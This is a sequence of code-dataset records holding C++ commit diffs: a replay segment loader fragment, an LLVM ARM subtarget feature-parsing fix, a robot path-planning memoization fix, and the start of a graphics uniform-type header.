\"dcamera.hevc\") {\n segments_[n].driver_cam = file;\n } else if (name == \"ecamera.hevc\") {\n segments_[n].wide_road_cam = file;\n } else if (name == \"qcamera.ts\") {\n segments_[n].qcamera = file;\n }\n}\n\n\/\/ class Segment\n\nSegment::Segment(int n, const SegmentFile &files, uint32_t flags) : seg_num(n), flags(flags) {\n \/\/ [RoadCam, DriverCam, WideRoadCam, log]. fallback to qcamera\/qlog\n const std::array file_list = {\n (flags & REPLAY_FLAG_QCAMERA) || files.road_cam.isEmpty() ? files.qcamera : files.road_cam,\n flags & REPLAY_FLAG_DCAM ? files.driver_cam : \"\",\n flags & REPLAY_FLAG_ECAM ? files.wide_road_cam : \"\",\n files.rlog.isEmpty() ? files.qlog : files.rlog,\n };\n for (int i = 0; i < file_list.size(); ++i) {\n if (!file_list[i].isEmpty()) {\n ++loading_;\n synchronizer_.addFuture(QtConcurrent::run(this, &Segment::loadFile, i, file_list[i].toStdString()));\n }\n }\n}\n\nSegment::~Segment() {\n disconnect();\n abort_ = true;\n synchronizer_.setCancelOnWait(true);\n synchronizer_.waitForFinished();\n}\n\nvoid Segment::loadFile(int id, const std::string file) {\n const bool local_cache = !(flags & REPLAY_FLAG_NO_FILE_CACHE);\n bool success = false;\n if (id < MAX_CAMERAS) {\n frames[id] = std::make_unique<FrameReader>();\n success = frames[id]->load(file, flags & REPLAY_FLAG_NO_CUDA, &abort_, local_cache, 20 * 1024 * 1024, 3);\n } else {\n log = std::make_unique<LogReader>();\n success = log->load(file, &abort_, local_cache, 0, 3);\n }\n\n if (!success) {\n \/\/ abort all loading jobs.\n abort_ = true;\n }\n\n if (--loading_ == 0) {\n emit loadFinished(!abort_);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- ARMSubtarget.cpp - ARM Subtarget Information ------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the ARM specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"ARMSubtarget.h\"\n#include \"ARMGenSubtarget.inc\"\n#include \"ARMBaseRegisterInfo.h\"\n#include \"llvm\/GlobalValue.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\nusing namespace llvm;\n\nstatic cl::opt<bool>\nReserveR9(\"arm-reserve-r9\", cl::Hidden,\n cl::desc(\"Reserve R9, making it unavailable as GPR\"));\n\nstatic cl::opt<bool>\nDarwinUseMOVT(\"arm-darwin-use-movt\", cl::init(true), cl::Hidden);\n\nstatic cl::opt<bool>\nStrictAlign(\"arm-strict-align\", cl::Hidden,\n cl::desc(\"Disallow all unaligned memory accesses\"));\n\nARMSubtarget::ARMSubtarget(const std::string &TT, const std::string &CPU,\n const std::string &FS, bool isT)\n : ARMArchVersion(V4)\n , ARMProcFamily(Others)\n , ARMFPUType(None)\n , UseNEONForSinglePrecisionFP(false)\n , SlowFPVMLx(false)\n , HasVMLxForwarding(false)\n , SlowFPBrcc(false)\n , IsThumb(isT)\n , ThumbMode(Thumb1)\n , NoARM(false)\n , PostRAScheduler(false)\n , IsR9Reserved(ReserveR9)\n , UseMovt(false)\n , HasFP16(false)\n , HasD16(false)\n , HasHardwareDivide(false)\n , HasT2ExtractPack(false)\n , HasDataBarrier(false)\n , Pref32BitThumb(false)\n , AvoidCPSRPartialUpdate(false)\n , HasMPExtension(false)\n , FPOnlySP(false)\n , AllowsUnalignedMem(false)\n , stackAlignment(4)\n , CPUString(CPU)\n , TargetTriple(TT)\n , TargetABI(ARM_ABI_APCS) {\n \/\/ Determine default and user specified characteristics\n\n \/\/ When no arch is specified either by CPU or by attributes, make the default\n \/\/ ARMv4T.\n const char *ARMArchFeature = \"\";\n if (CPUString.empty())\n CPUString = \"generic\";\n if (CPUString == \"generic\" && (FS.empty() || FS == \"generic\")) {\n ARMArchVersion = V4T;\n ARMArchFeature = \"+v4t\";\n }\n\n \/\/ Set the boolean corresponding to the current target triple, or the default\n \/\/ if one cannot be determined, to true.\n unsigned Len = TT.length();\n unsigned Idx = 0;\n\n if (Len >= 5 && TT.substr(0, 4) == \"armv\")\n Idx = 4;\n else if (Len >= 6 && TT.substr(0, 5) == \"thumb\") {\n IsThumb = true;\n if (Len >= 7 && TT[5] == 'v')\n Idx = 6;\n }\n if (Idx) {\n unsigned SubVer = TT[Idx];\n if (SubVer >= '7' && SubVer <= '9') {\n ARMArchVersion = V7A;\n ARMArchFeature = \"+v7a\";\n if (Len >= Idx+2 && TT[Idx+1] == 'm') {\n ARMArchVersion = V7M;\n ARMArchFeature = \"+v7m\";\n }\n } else if (SubVer == '6') {\n ARMArchVersion = V6;\n ARMArchFeature = \"+v6\";\n if (Len >= Idx+3 && TT[Idx+1] == 't' && TT[Idx+2] == '2') {\n ARMArchVersion = V6T2;\n ARMArchFeature = \"+v6t2\";\n }\n } else if (SubVer == '5') {\n ARMArchVersion = V5T;\n ARMArchFeature = \"+v5t\";\n if (Len >= Idx+3 && TT[Idx+1] == 't' && TT[Idx+2] == 'e') {\n ARMArchVersion = V5TE;\n ARMArchFeature = \"+v5te\";\n }\n } else if (SubVer == '4') {\n if (Len >= Idx+2 && TT[Idx+1] == 't') {\n ARMArchVersion = V4T;\n ARMArchFeature = \"+v4t\";\n } else {\n ARMArchVersion = V4;\n ARMArchFeature = \"\";\n }\n }\n }\n\n if (TT.find(\"eabi\") != std::string::npos)\n TargetABI = ARM_ABI_AAPCS;\n\n \/\/ Parse features string. If the first entry in FS (the CPU) is missing,\n \/\/ insert the architecture feature derived from the target triple. This is\n \/\/ important for setting features that are implied based on the architecture\n \/\/ version.\n std::string FSWithArch;\n if (FS.empty())\n FSWithArch = std::string(ARMArchFeature);\n else if (FS.find(',') == 0)\n FSWithArch = std::string(ARMArchFeature) + FS;\n else\n FSWithArch = FS;\n ParseSubtargetFeatures(FSWithArch, CPUString);\n\n \/\/ After parsing Itineraries, set ItinData.IssueWidth.\n computeIssueWidth();\n\n \/\/ Thumb2 implies at least V6T2.\n if (ARMArchVersion >= V6T2)\n ThumbMode = Thumb2;\n else if (ThumbMode >= Thumb2)\n ARMArchVersion = V6T2;\n\n if (isAAPCS_ABI())\n stackAlignment = 8;\n\n if (!isTargetDarwin())\n UseMovt = hasV6T2Ops();\n else {\n IsR9Reserved = ReserveR9 | (ARMArchVersion < V6);\n UseMovt = DarwinUseMOVT && hasV6T2Ops();\n }\n\n if (!isThumb() || hasThumb2())\n PostRAScheduler = true;\n\n \/\/ v6+ may or may not support unaligned mem access depending on the system\n \/\/ configuration.\n if (!StrictAlign && hasV6Ops() && isTargetDarwin())\n AllowsUnalignedMem = true;\n}\n\n\/\/\/ GVIsIndirectSymbol - true if the GV will be accessed via an indirect symbol.\nbool\nARMSubtarget::GVIsIndirectSymbol(const GlobalValue *GV,\n Reloc::Model RelocM) const {\n if (RelocM == Reloc::Static)\n return false;\n\n \/\/ Materializable GVs (in JIT lazy compilation mode) do not require an extra\n \/\/ load from stub.\n bool isDecl = GV->hasAvailableExternallyLinkage();\n if (GV->isDeclaration() && !GV->isMaterializable())\n isDecl = true;\n\n if (!isTargetDarwin()) {\n \/\/ Extra load is needed for all externally visible.\n if (GV->hasLocalLinkage() || GV->hasHiddenVisibility())\n return false;\n return true;\n } else {\n if (RelocM == Reloc::PIC_) {\n \/\/ If this is a strong reference to a definition, it is definitely not\n \/\/ through a stub.\n if (!isDecl && !GV->isWeakForLinker())\n return false;\n\n \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n if (!GV->hasHiddenVisibility()) \/\/ Non-hidden $non_lazy_ptr reference.\n return true;\n\n \/\/ If symbol visibility is hidden, we have a stub for common symbol\n \/\/ references and external declarations.\n if (isDecl || GV->hasCommonLinkage())\n \/\/ Hidden $non_lazy_ptr reference.\n return true;\n\n return false;\n } else {\n \/\/ If this is a strong reference to a definition, it is definitely not\n \/\/ through a stub.\n if (!isDecl && !GV->isWeakForLinker())\n return false;\n\n \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n if (!GV->hasHiddenVisibility()) \/\/ Non-hidden $non_lazy_ptr reference.\n return true;\n }\n }\n\n return false;\n}\n\nunsigned ARMSubtarget::getMispredictionPenalty() const {\n \/\/ If we have a reasonable estimate of the pipeline depth, then we can\n \/\/ estimate the penalty of a misprediction based on that.\n if (isCortexA8())\n return 13;\n else if (isCortexA9())\n return 8;\n\n \/\/ Otherwise, just return a sensible default.\n return 10;\n}\n\nvoid ARMSubtarget::computeIssueWidth() {\n unsigned allStage1Units = 0;\n for (const InstrItinerary *itin = InstrItins.Itineraries;\n itin->FirstStage != ~0U; ++itin) {\n const InstrStage *IS = InstrItins.Stages + itin->FirstStage;\n allStage1Units |= IS->getUnits();\n }\n InstrItins.IssueWidth = 0;\n while (allStage1Units) {\n ++InstrItins.IssueWidth;\n \/\/ clear the lowest bit\n allStage1Units ^= allStage1Units & ~(allStage1Units - 1);\n }\n assert(InstrItins.IssueWidth <= 2 && \"itinerary bug, too many stage 1 units\");\n}\n\nbool ARMSubtarget::enablePostRAScheduler(\n CodeGenOpt::Level OptLevel,\n TargetSubtarget::AntiDepBreakMode& Mode,\n RegClassVector& CriticalPathRCs) const {\n Mode = TargetSubtarget::ANTIDEP_CRITICAL;\n CriticalPathRCs.clear();\n CriticalPathRCs.push_back(&ARM::GPRRegClass);\n return PostRAScheduler && OptLevel >= CodeGenOpt::Default;\n}\n<commit_msg>Fix ARMSubtarget feature parsing.<commit_after>\/\/===-- ARMSubtarget.cpp - ARM Subtarget Information ------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the ARM specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"ARMSubtarget.h\"\n#include \"ARMGenSubtarget.inc\"\n#include \"ARMBaseRegisterInfo.h\"\n#include \"llvm\/GlobalValue.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\nusing namespace llvm;\n\nstatic cl::opt<bool>\nReserveR9(\"arm-reserve-r9\", cl::Hidden,\n cl::desc(\"Reserve R9, making it unavailable as GPR\"));\n\nstatic cl::opt<bool>\nDarwinUseMOVT(\"arm-darwin-use-movt\", cl::init(true), cl::Hidden);\n\nstatic cl::opt<bool>\nStrictAlign(\"arm-strict-align\", cl::Hidden,\n cl::desc(\"Disallow all unaligned memory accesses\"));\n\nARMSubtarget::ARMSubtarget(const std::string &TT, const std::string &CPU,\n const std::string &FS, bool isT)\n : ARMArchVersion(V4)\n , ARMProcFamily(Others)\n , ARMFPUType(None)\n , UseNEONForSinglePrecisionFP(false)\n , SlowFPVMLx(false)\n , HasVMLxForwarding(false)\n , SlowFPBrcc(false)\n , IsThumb(isT)\n , ThumbMode(Thumb1)\n , NoARM(false)\n , PostRAScheduler(false)\n , IsR9Reserved(ReserveR9)\n , UseMovt(false)\n , HasFP16(false)\n , HasD16(false)\n , HasHardwareDivide(false)\n , HasT2ExtractPack(false)\n , HasDataBarrier(false)\n , Pref32BitThumb(false)\n , AvoidCPSRPartialUpdate(false)\n , HasMPExtension(false)\n , FPOnlySP(false)\n , AllowsUnalignedMem(false)\n , stackAlignment(4)\n , CPUString(CPU)\n , TargetTriple(TT)\n , TargetABI(ARM_ABI_APCS) {\n \/\/ Determine default and user specified characteristics\n\n \/\/ When no arch is specified either by CPU or by attributes, make the default\n \/\/ ARMv4T.\n const char *ARMArchFeature = \"\";\n if (CPUString.empty())\n CPUString = \"generic\";\n if (CPUString == \"generic\" && (FS.empty() || FS == \"generic\")) {\n ARMArchVersion = V4T;\n ARMArchFeature = \"+v4t\";\n }\n\n \/\/ Set the boolean corresponding to the current target triple, or the default\n \/\/ if one cannot be determined, to true.\n unsigned Len = TT.length();\n unsigned Idx = 0;\n\n if (Len >= 5 && TT.substr(0, 4) == \"armv\")\n Idx = 4;\n else if (Len >= 6 && TT.substr(0, 5) == \"thumb\") {\n IsThumb = true;\n if (Len >= 7 && TT[5] == 'v')\n Idx = 6;\n }\n if (Idx) {\n unsigned SubVer = TT[Idx];\n if (SubVer >= '7' && SubVer <= '9') {\n ARMArchVersion = V7A;\n ARMArchFeature = \"+v7a\";\n if (Len >= Idx+2 && TT[Idx+1] == 'm') {\n ARMArchVersion = V7M;\n ARMArchFeature = \"+v7m\";\n }\n } else if (SubVer == '6') {\n ARMArchVersion = V6;\n ARMArchFeature = \"+v6\";\n if (Len >= Idx+3 && TT[Idx+1] == 't' && TT[Idx+2] == '2') {\n ARMArchVersion = V6T2;\n ARMArchFeature = \"+v6t2\";\n }\n } else if (SubVer == '5') {\n ARMArchVersion = V5T;\n ARMArchFeature = \"+v5t\";\n if (Len >= Idx+3 && TT[Idx+1] == 't' && TT[Idx+2] == 'e') {\n ARMArchVersion = V5TE;\n ARMArchFeature = \"+v5te\";\n }\n } else if (SubVer == '4') {\n if (Len >= Idx+2 && TT[Idx+1] == 't') {\n ARMArchVersion = V4T;\n ARMArchFeature = \"+v4t\";\n } else {\n ARMArchVersion = V4;\n ARMArchFeature = \"\";\n }\n }\n }\n\n if (TT.find(\"eabi\") != std::string::npos)\n TargetABI = ARM_ABI_AAPCS;\n\n \/\/ Insert the architecture feature derived from the target triple into the\n \/\/ feature string. This is important for setting features that are implied\n \/\/ based on the architecture version.\n std::string FSWithArch = std::string(ARMArchFeature);\n if (FSWithArch.empty())\n FSWithArch = FS;\n else if (!FS.empty())\n FSWithArch = FSWithArch + \",\" + FS;\n ParseSubtargetFeatures(FSWithArch, CPUString);\n\n \/\/ After parsing Itineraries, set ItinData.IssueWidth.\n computeIssueWidth();\n\n \/\/ Thumb2 implies at least V6T2.\n if (ARMArchVersion >= V6T2)\n ThumbMode = Thumb2;\n else if (ThumbMode >= Thumb2)\n ARMArchVersion = V6T2;\n\n if (isAAPCS_ABI())\n stackAlignment = 8;\n\n if (!isTargetDarwin())\n UseMovt = hasV6T2Ops();\n else {\n IsR9Reserved = ReserveR9 | (ARMArchVersion < V6);\n UseMovt = DarwinUseMOVT && hasV6T2Ops();\n }\n\n if (!isThumb() || hasThumb2())\n PostRAScheduler = true;\n\n \/\/ v6+ may or may not support unaligned mem access depending on the system\n \/\/ configuration.\n if (!StrictAlign && hasV6Ops() && isTargetDarwin())\n AllowsUnalignedMem = true;\n}\n\n\/\/\/ GVIsIndirectSymbol - true if the GV will be accessed via an indirect symbol.\nbool\nARMSubtarget::GVIsIndirectSymbol(const GlobalValue *GV,\n Reloc::Model RelocM) const {\n if (RelocM == Reloc::Static)\n return false;\n\n \/\/ Materializable GVs (in JIT lazy compilation mode) do not require an extra\n \/\/ load from stub.\n bool isDecl = GV->hasAvailableExternallyLinkage();\n if (GV->isDeclaration() && !GV->isMaterializable())\n isDecl = true;\n\n if (!isTargetDarwin()) {\n \/\/ Extra load is needed for all externally visible.\n if (GV->hasLocalLinkage() || GV->hasHiddenVisibility())\n return false;\n return true;\n } else {\n if (RelocM == Reloc::PIC_) {\n \/\/ If this is a strong reference to a definition, it is definitely not\n \/\/ through a stub.\n if (!isDecl && !GV->isWeakForLinker())\n return false;\n\n \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n if (!GV->hasHiddenVisibility()) \/\/ Non-hidden $non_lazy_ptr reference.\n return true;\n\n \/\/ If symbol visibility is hidden, we have a stub for common symbol\n \/\/ references and external declarations.\n if (isDecl || GV->hasCommonLinkage())\n \/\/ Hidden $non_lazy_ptr reference.\n return true;\n\n return false;\n } else {\n \/\/ If this is a strong reference to a definition, it is definitely not\n \/\/ through a stub.\n if (!isDecl && !GV->isWeakForLinker())\n return false;\n\n \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n if (!GV->hasHiddenVisibility()) \/\/ Non-hidden $non_lazy_ptr reference.\n return true;\n }\n }\n\n return false;\n}\n\nunsigned ARMSubtarget::getMispredictionPenalty() const {\n \/\/ If we have a reasonable estimate of the pipeline depth, then we can\n \/\/ estimate the penalty of a misprediction based on that.\n if (isCortexA8())\n return 13;\n else if (isCortexA9())\n return 8;\n\n \/\/ Otherwise, just return a sensible default.\n return 10;\n}\n\nvoid ARMSubtarget::computeIssueWidth() {\n unsigned allStage1Units = 0;\n for (const InstrItinerary *itin = InstrItins.Itineraries;\n itin->FirstStage != ~0U; ++itin) {\n const InstrStage *IS = InstrItins.Stages + itin->FirstStage;\n allStage1Units |= IS->getUnits();\n }\n InstrItins.IssueWidth = 0;\n while (allStage1Units) {\n ++InstrItins.IssueWidth;\n \/\/ clear the lowest bit\n allStage1Units ^= allStage1Units & ~(allStage1Units - 1);\n }\n assert(InstrItins.IssueWidth <= 2 && \"itinerary bug, too many stage 1 units\");\n}\n\nbool ARMSubtarget::enablePostRAScheduler(\n CodeGenOpt::Level OptLevel,\n TargetSubtarget::AntiDepBreakMode& Mode,\n RegClassVector& CriticalPathRCs) const {\n Mode = TargetSubtarget::ANTIDEP_CRITICAL;\n CriticalPathRCs.clear();\n CriticalPathRCs.push_back(&ARM::GPRRegClass);\n return PostRAScheduler && OptLevel >= CodeGenOpt::Default;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"motion\/TrapezoidalMotion.hpp\"\n#include \"MotionConstraints.hpp\"\n#include \"MotionInstant.hpp\"\n#include <Configuration.hpp>\n#include <Geometry2d\/CompositeShape.hpp>\n#include <Geometry2d\/Point.hpp>\n#include <Geometry2d\/Segment.hpp>\n#include <Geometry2d\/Segment.hpp>\n#include <planning\/Path.hpp>\n\n\nnamespace Planning\n{\n\t\/**\n\t * @brief Represents a straight-line path with a trapezoidal velocity profile\n\t *\n\t * @details The path represents a function of position given time that the robot should follow.\n\t * The path is made up of other Paths and can be made up of CompositePaths.\n\t *\/\n\tclass TrapezoidalPath: public Path\n\t{\n\n\tprivate:\n\t\tconst Geometry2d::Point startPos, endPos;\n\t\tconst Geometry2d::Point pathDirection;\n\t\tconst float startSpeed, endSpeed;\n\n\t\tconst float pathLength;\n\t\tconst float maxAcc;\n\t\tconst float maxSpeed;\n\n\tpublic:\n\t\tTrapezoidalPath(Geometry2d::Point startPos, float startSpeed, Geometry2d::Point endPos, float endSpeed, float maxAcc, float maxSpeed) :\n\t\t\t\tstartPos(startPos), startSpeed(startSpeed), endPos(endPos), endSpeed(endSpeed),\n\t\t\t\tpathLength((startPos - endPos).mag()), maxAcc(maxAcc), maxSpeed(maxSpeed),\n\t\t\t\tpathDirection((endPos - startPos).normalized()){\n\t\t\t\t}\n\n\t\t\/** default path is empty *\/\n\t\tTrapezoidalPath(Geometry2d::Point startPos, float startSpeed, Geometry2d::Point endPos, float endSpeed, const MotionConstraints& constraints) :\n\t\t\t\tstartPos(startPos), startSpeed(startSpeed), endPos(endPos), endSpeed(endSpeed),\n\t\t\t\tpathLength((startPos - endPos).mag()), maxAcc(constraints.maxAcceleration), maxSpeed(constraints.maxSpeed),\n\t\t\t\tpathDirection((endPos - startPos).normalized()){\n\t\t\t\t\tfloat minSpeed = maxSpeed;\n\t\t\t\t\tif (startSpeed<minSpeed) {\n\t\t\t\t\t\tstartSpeed = minSpeed;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\tvirtual bool evaluate(float time, MotionInstant &targetMotionInstant) const override {\n\t\t\tfloat distance;\n\t\t\tfloat speedOut;\n\t\t\tbool valid = TrapezoidalMotion(\n\t\t\t\t\tpathLength, \t\/\/PathLength\n\t\t\t\t\tmaxSpeed,\t\t\/\/maxSpeed\n\t\t\t\t\tmaxAcc,\t\t\/\/maxAcc\n\t\t\t\t\ttime,\t\/\/time\n\t\t\t\t\tstartSpeed,\t\/\/startSpeed\n\t\t\t\t\tendSpeed,\t\/\/endSpeed\n\t\t\t\t\tdistance,\t\t\/\/posOut\n\t\t\t\t\tspeedOut);\t\/\/speedOut\n\t\t\ttargetMotionInstant.pos = pathDirection * distance + startPos;\n\t\t\ttargetMotionInstant.vel = pathDirection * speedOut;\n\t\t\treturn valid;\n\t\t}\n\n\t\tvirtual bool hit(const Geometry2d::CompositeShape &shape, float &hitTime, float startTime = 0) const override {\n\t\t\tthrow std::logic_error(\"This function is not implemented\");\n\t\t}\n\n\t\tvirtual void draw(SystemState * const state, const QColor &color = Qt::black, const QString &layer = \"Motion\") const override {\n\t\t\tPacket::DebugPath *dbg = state->logFrame->add_debug_paths();\n\t\t\tdbg->set_layer(state->findDebugLayer(layer));\n\t\t\t*dbg->add_points() = startPos;\n\t\t\t*dbg->add_points() = endPos;\n\t\t}\n\n\t\tvirtual float getDuration() const override {\n\t\t\tstatic float duration = Trapezoidal::getTime(\n\t\t\t\t\tpathLength, \/\/distance\n\t\t\t\t\tpathLength, \/\/pathLength\n\t\t\t\t\tmaxSpeed,\n\t\t\t\t\tmaxAcc,\n\t\t\t\t\tstartSpeed,\n\t\t\t\t\tendSpeed);\n\n\t\t\treturn duration;\n\t\t}\n\n\t\tvirtual std::unique_ptr<Path> subPath(float startTime = 0, float endTime = std::numeric_limits<float>::infinity()) const override {\n\t\t\tdebugThrow(\"This function is not implemented\");\n\t\t\treturn nullptr;\n\t\t}\n\n\t\tvirtual boost::optional<MotionInstant> destination() const override {\n\t\t\tstatic MotionInstant destination = MotionInstant(endPos, pathDirection*endSpeed);\n\t\t\treturn destination;\n\t\t}\n\t\tvirtual std::unique_ptr<Path> clone() const override {\n\t\t\treturn std::unique_ptr<Path>(new TrapezoidalPath(startPos,startSpeed,endPos, endSpeed, maxAcc, maxSpeed));\n\t\t}\n\t};\n}\n<commit_msg>Fix TrapezoidalPath memoization<commit_after>#pragma once\n\n#include \"motion\/TrapezoidalMotion.hpp\"\n#include \"MotionConstraints.hpp\"\n#include \"MotionInstant.hpp\"\n#include <Configuration.hpp>\n#include <Geometry2d\/CompositeShape.hpp>\n#include <Geometry2d\/Point.hpp>\n#include <Geometry2d\/Segment.hpp>\n#include <Geometry2d\/Segment.hpp>\n#include <planning\/Path.hpp>\n\n\nnamespace Planning\n{\n\t\/**\n\t * @brief Represents a straight-line path with a trapezoidal velocity profile\n\t *\n\t * @details The path represents a function of position given time that the robot should follow.\n\t * The path is made up of other Paths and can be made up of CompositePaths.\n\t *\/\n\tclass TrapezoidalPath: public Path\n\t{\n\n\tprivate:\n\t\tconst Geometry2d::Point startPos, endPos;\n\t\tconst Geometry2d::Point pathDirection;\n\t\tconst float startSpeed, endSpeed;\n\n\t\tconst float pathLength;\n\t\tconst float maxAcc;\n\t\tconst float maxSpeed;\n\n\t\tfloat duration;\n\n\tpublic:\n\t\tTrapezoidalPath(Geometry2d::Point startPos, float startSpeed, Geometry2d::Point endPos, float endSpeed, const MotionConstraints& constraints) :\n\t\t\t\tstartPos(startPos), startSpeed(startSpeed), endPos(endPos), endSpeed(endSpeed),\n\t\t\t\tpathLength((startPos - endPos).mag()), maxAcc(constraints.maxAcceleration), maxSpeed(constraints.maxSpeed),\n\t\t\t\tpathDirection((endPos - startPos).normalized())\t{\n\n\t\t\tfloat minSpeed = maxSpeed;\n\t\t\tif (startSpeed<minSpeed) {\n\t\t\t\tstartSpeed = minSpeed;\n\t\t\t}\n\n\t\t\t\/\/Precalculate the duration of the path\n\t\t\tduration = Trapezoidal::getTime(\n\t\t\t\t\t\tpathLength, \/\/distance\n\t\t\t\t\t\tpathLength, \/\/pathLength\n\t\t\t\t\t\tmaxSpeed,\n\t\t\t\t\t\tmaxAcc,\n\t\t\t\t\t\tstartSpeed,\n\t\t\t\t\t\tendSpeed);\n\t\t}\n\n\t\tvirtual bool evaluate(float time, MotionInstant &targetMotionInstant) const override {\n\t\t\tfloat distance;\n\t\t\tfloat speedOut;\n\t\t\tbool valid = TrapezoidalMotion(\n\t\t\t\t\tpathLength, \t\/\/PathLength\n\t\t\t\t\tmaxSpeed,\t\t\/\/maxSpeed\n\t\t\t\t\tmaxAcc,\t\t\/\/maxAcc\n\t\t\t\t\ttime,\t\/\/time\n\t\t\t\t\tstartSpeed,\t\/\/startSpeed\n\t\t\t\t\tendSpeed,\t\/\/endSpeed\n\t\t\t\t\tdistance,\t\t\/\/posOut\n\t\t\t\t\tspeedOut);\t\/\/speedOut\n\t\t\ttargetMotionInstant.pos = pathDirection * distance + startPos;\n\t\t\ttargetMotionInstant.vel = pathDirection * speedOut;\n\t\t\treturn valid;\n\t\t}\n\n\t\tvirtual bool hit(const Geometry2d::CompositeShape &shape, float &hitTime, float startTime = 0) const override {\n\t\t\tthrow std::logic_error(\"This function is not implemented\");\n\t\t}\n\n\t\tvirtual void draw(SystemState * const state, const QColor &color = Qt::black, const QString &layer = \"Motion\") const override {\n\t\t\tPacket::DebugPath *dbg = state->logFrame->add_debug_paths();\n\t\t\tdbg->set_layer(state->findDebugLayer(layer));\n\t\t\t*dbg->add_points() = startPos;\n\t\t\t*dbg->add_points() = endPos;\n\t\t}\n\n\t\tvirtual float getDuration() const override {\n\t\t\treturn duration;\n\t\t}\n\n\t\tvirtual std::unique_ptr<Path> subPath(float startTime = 0, float endTime = std::numeric_limits<float>::infinity()) const override {\n\t\t\tdebugThrow(\"This function is not implemented\");\n\t\t\treturn nullptr;\n\t\t}\n\n\t\tvirtual boost::optional<MotionInstant> destination() const override {\n\t\t\treturn MotionInstant(endPos, pathDirection*endSpeed);\n\t\t}\n\t\tvirtual std::unique_ptr<Path> clone() const override {\n\t\t\tdebugThrow(\"This function is not implemented\");\n\t\t\treturn nullptr;\n\t\t}\n\t};\n}\n<|endoftext|>"} {"text":"<commit_before>\n#pragma once\n\n\nnamespace globjects \n{\n\n\nenum class UniformType : unsigned char\n{\n NONE,\n\n FLOAT,\n INT,\n UNSIGNED_INT,\n BOOL,\n FLOAT_VEC2,\n FLOAT_VEC3,\n FLOAT_VEC4,\n INT_VEC2,\n INT_VEC3,\n INT_VEC4,\n UNSIGNED_INT_VEC2,\n UNSIGNED_INT_VEC3,\n UNSIGNED_INT_VEC4,\n FLOAT_MAT2,\n FLOAT_MAT3,\n FLOAT_MAT4,\n FLOAT_MAT2x3,\n FLOAT_MAT3x2,\n FLOAT_MAT2x4,\n FLOAT_MAT4x2,\n FLOAT_MAT3x4,\n FLOAT_MAT4x3,\n UNSIGNED_INT64,\n TEXTURE_HANDLE,\n\n VECTOR_FLOAT,\n VECTOR_INT,\n VECTOR_UNSIGNED_INT,\n VECTOR_BOOL,\n VECTOR_FLOAT_VEC2,\n VECTOR_FLOAT_VEC3,\n VECTOR_FLOAT_VEC4,\n VECTOR_INT_VEC2,\n VECTOR_INT_VEC3,\n VECTOR_INT_VEC4,\n VECTOR_UNSIGNED_INT_VEC2,\n VECTOR_UNSIGNED_INT_VEC3,\n VECTOR_UNSIGNED_INT_VEC4,\n VECTOR_FLOAT_MAT2,\n VECTOR_FLOAT_MAT3,\n VECTOR_FLOAT_MAT4,\n VECTOR_FLOAT_MAT2x3,\n VECTOR_FLOAT_MAT3x2,\n VECTOR_FLOAT_MAT2x4,\n VECTOR_FLOAT_MAT4x2,\n VECTOR_FLOAT_MAT3x4,\n VECTOR_FLOAT_MAT4x3,\n VECTOR_UNSIGNED_INT64,\n VECTOR_TEXTURE_HANDLE,\n\n ARRAY_FLOAT,\n ARRAY_INT,\n ARRAY_UNSIGNED_INT,\n ARRAY_BOOL,\n ARRAY_FLOAT_VEC2,\n ARRAY_FLOAT_VEC3,\n ARRAY_FLOAT_VEC4,\n ARRAY_INT_VEC2,\n ARRAY_INT_VEC3,\n ARRAY_INT_VEC4,\n ARRAY_UNSIGNED_INT_VEC2,\n ARRAY_UNSIGNED_INT_VEC3,\n ARRAY_UNSIGNED_INT_VEC4,\n ARRAY_FLOAT_MAT2,\n ARRAY_FLOAT_MAT3,\n ARRAY_FLOAT_MAT4,\n ARRAY_FLOAT_MAT2x3,\n ARRAY_FLOAT_MAT3x2,\n ARRAY_FLOAT_MAT2x4,\n ARRAY_FLOAT_MAT4x2,\n ARRAY_FLOAT_MAT3x4,\n ARRAY_FLOAT_MAT4x3,\n ARRAY_UNSIGNED_INT64,\n ARRAY_TEXTURE_HANDLE\n};\n\ntemplate <typename ValueType>\nstruct UniformTypeHelper\n{\n static const UniformType value = UniformType::NONE;\n};\n\ntemplate <>\nstruct UniformTypeHelper<float>\n{\n static const UniformType value = UniformType::FLOAT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<int>\n{\n static const UniformType value = UniformType::INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<unsigned int>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<bool>\n{\n static const UniformType value = UniformType::BOOL;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::vec2>\n{\n static const UniformType value = UniformType::FLOAT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::vec3>\n{\n static const UniformType value = UniformType::FLOAT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::vec4>\n{\n static const UniformType value = UniformType::FLOAT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::ivec2>\n{\n static const UniformType value = UniformType::INT_VEC2;\n};\n\ntemplate <>\nstruct 